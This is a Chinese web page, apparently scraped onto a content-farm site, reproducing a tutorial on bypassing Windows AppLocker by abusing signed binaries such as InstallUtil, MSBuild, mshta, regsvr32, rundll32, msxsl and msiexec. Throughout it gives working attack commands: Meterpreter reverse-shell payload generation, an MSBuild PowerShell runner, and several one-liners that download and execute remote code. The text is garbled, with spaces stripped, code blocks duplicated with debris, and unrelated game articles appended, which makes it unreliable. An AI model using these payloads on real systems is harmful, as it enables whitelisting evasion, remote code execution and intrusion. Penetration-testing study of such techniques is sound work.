首页 热门资讯 apploc下载,AppLocker绕过之路

apploc下载,AppLocker绕过之路

更新时间:2024-04-01 23:46:14 分类:热门资讯 浏览:1

大家好,今天来为大家分享apploc下载的一些知识点,和AppLocker绕过之路的问题解析,大家要是都明白,那么可以忽略,如果不太清楚的话可以看看本篇文章,相信很大概率可以解决您的问题,接下来我们就一起来看看吧!

在提权中我们经常会遇到目标开启了Applocker的情况,本文将以https://github.com/api0cradle/UltimateAppLockerByPassList为参考,讲解Applocker的绕过技术。

这不仅仅是一个applocker的bypass文章,也是一个白名单利用文章。

(若无特殊说明,实验环境一律为windowsserver2012r2)

AppLocker即“应用程序控制策略”,是Windows7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能,我们可以使用在services中启用ApplicationIdentity,然后在localsecuritypolicy中找到ApplicationControlPolicies中看到Applocker选项。

applocker规则

默认的Applocker规则支持以下几种:

.appx并不是所有的applocker都会存在,应根据windows版本来,在win10上,创建applocker规则后会在C:\\\\Windows\\\\System32\\\\AppLocker生产相应的.applocker文件。

applocker规则条件

规则条件是用于帮助AppLocker标识要应用规则的应用的标准。三个主要规则条件为发布者、路径和文件哈希。

AppLocker默认规则

在你创建了一个applocker规则后,系统会默认询问你是否添加一条默认规则,如下图所示:

每个规则所对应的默认规则如下:

WindowsInstaller默认规则类型包括:

AppLocker规则行为

可将规则配置为使用允许或拒绝操作:

讲了那么多,我们以禁止在桌面上运行exe文件为例,创建一条规则。创建完大体如下:

bypassApplocker

Installutil.exe

InstallUtil是.NETFramework的一部分,是一个命令行程序,它使用户可以通过命令提示符快速安装和卸载应用程序。由于此实用程序是Microsoft签名的二进制文件,因此可以用来绕过AppLocker限制来运行任何.NET可执行文件。该实用程序也位于Windows文件夹内,该文件夹不会应用AppLocker策略,因为需要执行Windows文件夹的内容才能使系统正常运行。

首先我们使用WhiteListEvasion(https://github.com/khr0x40sh/WhiteListEvasion)生成一个模板

pythonInstallUtil.py--cs_filepentestlab.cs\\n--exe_file/root/Desktop/pentestlab.exe--payload\\nwindows/meterpreter/reverse_https--lhost192.168.0.103--lport443\\n

上面的命令将生成一个C#模板,其中将包含MetasploitShellCode。

将生成后的文件放到目标中使用下面的方法执行:

C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v2.0.50727\\\\InstallUtil.exe/logfile=/LogToConsole=false/U/root/payload.exe\\n

当然你也可以是先使用msf生成一个csharp的payload,然后替换模板中的shellcode,然后将cs文件传到目标机。

C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v2.0.50727\\\\csc.exe/out:exeshell.exeexeshell.cs\\n

此时我们执行我们的文件试试:

C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v2.0.50727\\\\InstallUtil.exe/logfile=/LogToConsole=false/Uexeshell.exe\\n

绕过

exploit/windows/local/applocker_bypass\\n

原理是一样的

MSBuild.exe(MicrosoftBuildEngine)是VisualStudio使用的软件构建平台。它采用XML格式的项目文件,这些文件定义了构建各种平台和配置的要求。(引用:MSDNMSBuild)

我们可以使用MSBuild通过受信任的Windows实用工具代理代码执行。.NET版本4中引入的MSBuild内联任务功能允许将C#代码插入XML项目文件中。内联任务MSBuild将编译并执行内联任务。MSBuild.exe是一个经过签名的Microsoft二进制文件,因此,以这种方式使用它时,它可以执行任意代码,并绕过配置为允许MSBuild.exe执行的应用程序白名单防护.

我们这里直接使用GreatSCT生成一个xml文件。

./GreatSCT.py--ip192.168.0.106--port4444-tbypass-pmsbuild/meterpreter/rev_tcp.py\\n

并且会给我们生成一个rc文件,我们可以使用msfconsole-r直接启动msf

当然你也可以是使用msf生成一个c#的shellcode然后使用三好学生师傅的模板加载:

https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20shellcode.xml

除了反弹shell以外我们还可以用它来绕过powershell的限制。

<ProjectToolsVersion="4.0"xmlns="http://schemas.microsoft.com/developer/msbuild/2003">\\n<!--Thisinlinetaskexecutesc#code.-->\\n<!--C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v4.0.30319\\\\msbuild.exepshell.xml-->\\n<!--Author:CaseySmith,Twitter:@subTee-->\\n<!--License:BSD3-Clause-->\\n<TargetName="Hello">\\n<FragmentExample/>\\n<ClassExample/>\\n</Target>\\n<UsingTask\\nTaskName="FragmentExample"\\nTaskFactory="CodeTaskFactory"\\nAssemblyFile="C:\\\\Windows\\\\Microsoft.Net\\\\Framework\\\\v4.0.30319\\\\Microsoft.Build.Tasks.v4.0.dll">\\n<ParameterGroup/>\\n<Task>\\n<UsingNamespace="System"/>\\n<UsingNamespace="System.IO"/>\\n\\n\\n\\n\\n\\n</Task>\\n</UsingTask>\\n<UsingTask\\nTaskName="ClassExample"\\nTaskFactory="CodeTaskFactory"\\nAssemblyFile="C:\\\\Windows\\\\Microsoft.Net\\\\Framework\\\\v4.0.30319\\\\Microsoft.Build.Tasks.v4.0.dll">\\n<Task>\\n<ReferenceInclude="System.Management.Automation"/>\\n\\n");\\n\\nstringx=Console.ReadLine();\\n\\ntry\\n\\n{\\n\\nConsole.WriteLine(RunPSCommand(x));\\n\\n}\\n\\ncatch(Exceptione)\\n\\n{\\n\\nConsole.WriteLine(e.Message);\\n\\n}\\n\\n}\\n\\n\\nreturntrue;\\n\\n}\\n\\n\\n//BasedonJaredAtkinson'sAndJustinWarner'sWork\\n\\npublicstaticstringRunPSCommand(stringcmd)\\n\\n{\\n\\n//Initstuff\\n\\nRunspacerunspace=RunspaceFactory.CreateRunspace();\\n\\nrunspace.Open();\\n\\nRunspaceInvokescriptInvoker=newRunspaceInvoke(runspace);\\n\\nPipelinepipeline=runspace.CreatePipeline();\\n\\n//Addcommands\\n\\npipeline.Commands.AddScript(cmd);\\n\\n//PrepPSforstringoutputandinvoke\\n\\npipeline.Commands.Add("Out-String");\\n\\nCollectionresults=pipeline.Invoke();\\n\\nrunspace.Close();\\n\\n//Convertrecordstostrings\\n\\nStringBuilderstringBuilder=newStringBuilder();\\n\\nforeach(PSObjectobjinresults)\\n\\n{\\n\\nstringBuilder.Append(obj);\\n\\n}\\n\\nreturnstringBuilder.ToString().Trim();\\n\\n}\\n\\n\\n\\npublicstaticvoidRunPSFile(stringscript)\\n\\n{\\n\\nPowerShellps=PowerShell.Create();\\n\\nps.AddScript(script).Invoke();\\n\\n}\\n\\n\\n\\n\\n\\n}\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n]]>\\n\\n\\n\\n</Task>\\n</UsingTask>\\n</Project>\\n

原地址:https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20PowerShellCommands.xml

mshta.exe是微软Windows操作系统相关程序,英文全称MicrosoftHTMLApplication,可翻译为微软超文本标记语言应用,用于执行.HTA文件。默认已集成在环境变量中。

使用Mshta的方式有很多,我们这里使用msf的exploit/windows/misc/hta_server模块进行测试:

useexploit/windows/misc/hta_server\\nmsfexploit(windows/misc/hta_server)>setsrvhost192.168.1.109\\nmsfexploit(windows/misc/hta_server)>exploit\\n

目标机执行:

mshta.exehttp://192.168.0.106:8080/JR1gb3TO6.hta\\n

即可上线。

除了这种方法hta还可以使用cobaltstrike、Setoolkit、Magicunicorn、Empire、CactusTorch、Koadic、GreatSCT等进行上线。

除了本地文件,mshta还支持远程下载的方式执行payload,比如:

mshta.exejavascript:a=GetObject("script:https://gist.github.com/someone/something.sct").Exec();close();\\n

除了以上的方式,mshta可以用用来执行powershell:

<HTML>\\n<HEAD>\\n<scriptlanguage="VBScript">\\nSetobjShell=CreateObject("Wscript.Shell")\\nobjShell.Run"powershell-nop-execbypass-cIEX(New-ObjectNet.WebClient).DownloadString('http://ip:port/')"\\n</script>\\n</HEAD>\\n<BODY>\\n</BODY>\\n</HTML>\\n

即使applocker已经禁止powershell执行了

InfDefaultInstall.exe

InfDefaultInstall.exe是一个用来进行inf安装的工具,具有微软签名,存在路径为:

我们也可以用它来绕过一些限制。用法就是直接该文件后面跟你的inf文件即可。

https://gist.github.com/KyleHanslovan/5e0f00d331984c1fb5be32c40f3b265a

思路也和图中那样,使用shady.inf去调用远程的sct后门。

不过他的调用需要更高的权限,我在win10下运行的截图:

Mavinject.exe

Mavinject是win10上面自带的windows组件,我们可以用它来进行dll注入,并绕过部分限制。

mavinject32.exe<PID><PATHDLL>\\n

常见路径如下:

但是我本地复现的时候并没有成功注入,但是也没有什么提示,不知道具体原因是什么,版本为:10.0.15063.0(WinBuild.160101.0800)

应该是可以成功注入的,附上一张推特大佬成功的图。

MSIEXEC是Microsoft的应用程序,可用于从命令行安装或配置产品。这个其实不是很陌生的了,我之前也写过用它来进行提权的文章。我们假设可以执行msi文件,用它来绕过applocker对powershell的限制。

msfvenom-fmsi-pwindows/execCMD=powershell.exe>powershell.msi\\n

windows下执行:

msxsl.exe是一个xml的转换器,带有微软数字签名。下载地址如下:

https://www.microsoft.com/en-us/download/details.aspx?id=21714

我们使用3gstudent来尝试绕过applocker对calc的限制,

<?xmlversion="1.0"?>\\n<?xml-stylesheettype="text/xsl"href="script.xsl"?>\\n<customers>\\n<customer>\\n<name>JohnSmith</name>\\n<address>123ElmSt.</address>\\n<phone>(123)456-7890</phone>\\n</customer>\\n<customer>\\n<name>MaryJones</name>\\n<address>456OakAve.</address>\\n<phone>(156)789-0123</phone>\\n</customer>\\n</customers>\\n

script.xml:

<?xmlversion='1.0'?>\\n<xsl:stylesheetversion="1.0"\\nxmlns:xsl="http://www.w3.org/1999/XSL/Transform"\\nxmlns:msxsl="urn:schemas-microsoft-com:xslt"\\nxmlns:user="http://mycompany.com/mynamespace">\\n<msxsl:scriptlanguage="JScript"implements-prefix="user">\\nfunctionxml(nodelist){\\nvarr=newActiveXObject("WScript.Shell").Run("calc.exe");\\nreturnnodelist.nextNode().xml;\\n}\\n</msxsl:script>\\n<xsl:templatematch="/">\\n<xsl:value-ofselect="user:xml(.)"/>\\n</xsl:template>\\n</xsl:stylesheet>\\n

成功绕过:

当然也可以执行我们的shellcode,具体参考:

https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml

regsvr32是Windows命令行实用程序,用于将.dll文件和ActiveX控件注册和注销到注册表中。

下面为大家演示,绕过applocker上线。

<?XMLversion="1.0"?>\\n<scriptlet>\\n<registration\\nprogid="Pentest"\\nclassid="{F0001111-0000-0000-0000-0000FEEDACDC}">\\n<scriptlanguage="JScript">\\n<![CDATA[\\nvarr=newActiveXObject("WScript.Shell").Run("cmd/kcdc:\\\\&pentestlab.exe");\\n]]>\\n</script>\\n</registration>\\n</scriptlet>\\n

varr=newActiveXObject("WScript.Shell").Run("cmd/kcdc:\\\\&pentestlab.exe");

xxxxxxxxxxbr<?XMLversion="1.0"?>br<scriptlet>br<registrationbrprogid="Pentest"brclassid="{F0001111-0000-0000-0000-0000FEEDACDC}">br<scriptlanguage="JScript">br<![CDATA[brvarr=newActiveXObject("WScript.Shell").Run("cmd/kcdc:\\\\&pentestlab.exe");br]]>br</script>br</registration>br</scriptlet>br

xxxxxxxxxxbr<?XMLversion="1.0"?>br<scriptlet>br<registrationbrprogid="Pentest"brclassid="{F0001111-0000-0000-0000-0000FEEDACDC}">br<scriptlanguage="JScript">br<![CDATA[brvarr=newActiveXObject("WScript.Shell").Run("cmd/kcdc:\\\\&pentestlab.exe");br]]>br</script>br</registration>br</scriptlet>br

各参数的含义:

除了本地执行,它还支持远程加载:

regsvr32/u/n/s/i:http://ip:port/payload.sctscrobj.dll\\n

regsvr32/u/n/s/i:http://ip:port/payload.sctscrobj.dll

xxxxxxxxxxbrregsvr32/u/n/s/i:http://ip:port/payload.sctscrobj.dllbr

xxxxxxxxxxbrregsvr32/u/n/s/i:http://ip:port/payload.sctscrobj.dllbr

sct我们使用GreatSct生成即可。

Rundll32是一个Microsoft二进制文件,可以执行DLL文件中的代码。由于此实用程序是Windows操作系统的一部分,因此可以用作绕过AppLocker规则或软件限制策略的方法

rundll32.exejavascript:"\\\\..\\\\mshtml,RunHTMLApplication";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell-nop-execbypass-cIEX(New-ObjectNet.WebClient).DownloadString('http://ip:port/');"\\n

rundll32.exejavascript:"\\\\..\\\\mshtml,RunHTMLApplication";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell-nop-execbypass-cIEX(New-ObjectNet.WebClient).DownloadString('http://ip:port/');"

xxxxxxxxxxbrrundll32.exejavascript:"\\\\..\\\\mshtml,RunHTMLApplication";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell-nop-execbypass-cIEX(New-ObjectNet.WebClient).DownloadString('http://ip:port/');"br

xxxxxxxxxxbrrundll32.exejavascript:"\\\\..\\\\mshtml,RunHTMLApplication";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell-nop-execbypass-cIEX(New-ObjectNet.WebClient).DownloadString('http://ip:port/');"br

上线:

除了远程之外,也可以本地上线:

rundll32shell32.dll,Control_RunDLLC:\\\\Users\\\\pentestlab.dll\\n

rundll32shell32.dll,Control_RunDLLC:\\\\Users\\\\pentestlab.dll

xxxxxxxxxxbrrundll32shell32.dll,Control_RunDLLC:\\\\Users\\\\pentestlab.dllbr

xxxxxxxxxxbrrundll32shell32.dll,Control_RunDLLC:\\\\Users\\\\pentestlab.dllbr

也可以用来绕过对某些软件的限制,比如弹个cmd:

前人载树、后人乘凉。感谢各位师傅的辛苦付出。看完文章,来做个实验消化一下,《.实验:.NET框架0Day漏洞(CVE-2017-8759)(合天网安实验室)》点击链接开始学习吧!

关于apploc下载的内容到此结束,希望对大家有所帮助。

版权声明: 本站内容部分来源网络,版权归作者所有,如有侵权,请联系我们删除!
相关文章
多多自走棋阵容搭配?多多自走棋新版本法师怎么玩 热门资讯
大家好,关于多多自走棋阵容搭配很多朋友都还不太明白,不过没关系,因为今天小编就来为大家分享关于多多自走棋新版本法师怎么玩的知识点,相信应该可以解决大家的一些困惑和问题,如果碰巧可以解决您的问题,还望关注下本站哦,希望对各位有所帮助!1、多多自走棋是由巨鸟多多制作的一款自走棋手游,他的前身是刀塔自走棋,现在越来越多的人开始关注这款游戏,法师阵容一直是比较热门的一套阵容,但是小伙伴们知道法师阵容怎么搭…
zz 2024-04-04 03:10:06
多多自走棋攻略(从新手到进阶最完整上分攻略) 热门资讯
大家好,今天小编来为大家解答以下的问题,关于多多自走棋攻略,从新手到进阶最完整上分攻略这个很多人还不知道,现在让我们一起来看看吧!这里就要给大家说一下自走棋的排位机制,一局8个人,前四名加分,后四名扣分,名次越往后扣分越多,然后有一定的隐藏分基础。简单说下前期,中期的运营思路和拿牌方法。前期:能升2星的优先,然后就是3地精,其次再考虑别的啥的,一般拿的都是质量卡,像猎魔人,小黑,狼人都可以拿,不要…
zz 2024-04-04 03:07:29
多多游戏(冠冕堂皇的) 热门资讯
其实多多游戏的问题并不复杂,但是又很多的朋友都不太了解冠冕堂皇的,因此呢,今天小编就来为大家分享多多游戏的一些知识,希望可以帮助到大家,下面我们一起来看看这个问题的分析吧!说起“游戏”,在当下和过去的几十年中,可谓“家喻户晓”。从前,它是孩子们的“天堂”,只属于孩子。成人后,我们渐渐地“自觉”走出了那个“世界”。“那,都是假的。假装的,过家家。”可是,从什么时候开始,游戏成了一种“职业”。也有组团…
zz 2024-04-04 03:04:26
多啦a梦之大雄的生化危机(哆啦A梦的游戏时光机) 热门资讯
老铁们,大家好,相信还有很多朋友对于多啦a梦之大雄的生化危机和哆啦A梦的游戏时光机的相关问题不太懂,没关系,今天就由我来为大家分享分享多啦a梦之大雄的生化危机以及哆啦A梦的游戏时光机的问题,文章篇幅可能偏长,希望可以帮助到大家,下面一起来看看吧!导语:《哆啦A梦》与游戏的情缘,或许远比你想象的要深得多。2019年初,任天堂在直面会上一口气宣布了多款令人期待的作品,除了《塞尔达传说:梦见岛》的二次复…
zz 2024-04-04 03:02:02
多伦上尉?翡翠林的火焰 热门资讯
大家好,如果您还对多伦上尉不太了解,没有关系,今天就由本站为大家分享多伦上尉的知识,包括翡翠林的火焰的问题都会给大家分析到,还望可以解决大家的问题,下面我们就开始吧!1、当部落的玩家接到大酋长的命令,登录潘达利亚翡翠林北部的时候,立即和联盟展开了作战。这支联盟部队的指挥官,给部落拓展翡翠林,带来了极大的麻烦。甚至让部落损失了一艘飞船。他就是2、多伦上尉对于部落可能是第一次听见,而对联盟来说,则是从…
zz 2024-04-04 02:59:03
复活赛(打赢复活赛) 热门资讯
大家好,关于复活赛很多朋友都还不太明白,今天小编就来为大家分享关于打赢复活赛的知识,希望对各位有所帮助!1、触乐夜话,每天胡侃和游戏有关的屁事、鬼事、新鲜事。2、好消息,红钩工作室似乎“吃书”了——疑似在官方剧情中阵亡的前作角色十字军雷纳德或将在《暗黑地牢2》的DLC中回归。3、鉴于DLC还没有发售,这件事情还有很多不确定的地方。因为“暗黑地牢”系列的剧情本来就比较模糊,没有特别清晰的官方剧情线,…
zz 2024-04-04 02:56:13
复古相机推荐,造型复古的数码相机推荐 热门资讯
其实复古相机推荐的问题并不复杂,但是又很多的朋友都不太了解造型复古的数码相机推荐,因此呢,今天小编就来为大家分享复古相机推荐的一些知识,希望可以帮助到大家,下面我们一起来看看这个问题的分析吧!别否认!我们都是颜值党。本来嘛,一款产品先不管性能,至少要看着顺眼才能激起我们的购买欲望。在数码相机领域,就有这样一群高颜值的产品,它们的复古外形精致做工,确实俘获了很多人的心。而且最重要的是,这些产品不仅颜…
zz 2024-04-04 02:54:01
复古传奇 复古传奇攻略来了 热门资讯
大家好,关于复古传奇很多朋友都还不太明白,不过没关系,因为今天小编就来为大家分享关于复古传奇攻略来了的知识点,相信应该可以解决大家的一些困惑和问题,如果碰巧可以解决您的问题,还望关注下本站哦,希望对各位有所帮助!1、今天同样也给大家带来手游内部号攻略,这也是大部分手游爱好者所关心的问题,很多玩家为此走了许多弯路,那它到底有什么魔力呢?每天648-2000千充值,游戏开局5-1w充值等基础福利,中期…
zz 2024-04-04 02:51:39
复仇骑士,漫威反英雄复仇骑士 热门资讯
其实复仇骑士的问题并不复杂,但是又很多的朋友都不太了解漫威反英雄复仇骑士,因此呢,今天小编就来为大家分享复仇骑士的一些知识,希望可以帮助到大家,下面我们一起来看看这个问题的分析吧!几周前,一位朋友私信小祸,让小祸介绍一下漫威反英雄复仇骑士。复仇骑士英文为Vengeance,直译为复仇,之所以我们国内的汉化者将之翻译为复仇骑士,私以为是为了与恶灵骑士这个名称相对应。复仇骑士与恶灵骑士息息相关,但是远…
zz 2024-04-04 02:48:44
复仇者觉醒,复仇者的觉醒 热门资讯
大家好,今天来为大家分享复仇者觉醒的一些知识点,和复仇者的觉醒的问题解析,大家要是都明白,那么可以忽略,如果不太清楚的话可以看看本篇文章,相信很大概率可以解决您的问题,接下来我们就一起来看看吧!1、经历了十天的地窖囚禁,王梓月终于在第三日得以尝到粗糙的馒头。她的身影虚弱了许多,穿上了我提供的旧衣,整个人显得胆怯而无助。我牵着她的手,带她前往李瘸子的家。沿途的乡亲们纷纷向我投来亲切的目光,仿佛在为我…
zz 2024-04-04 02:45:52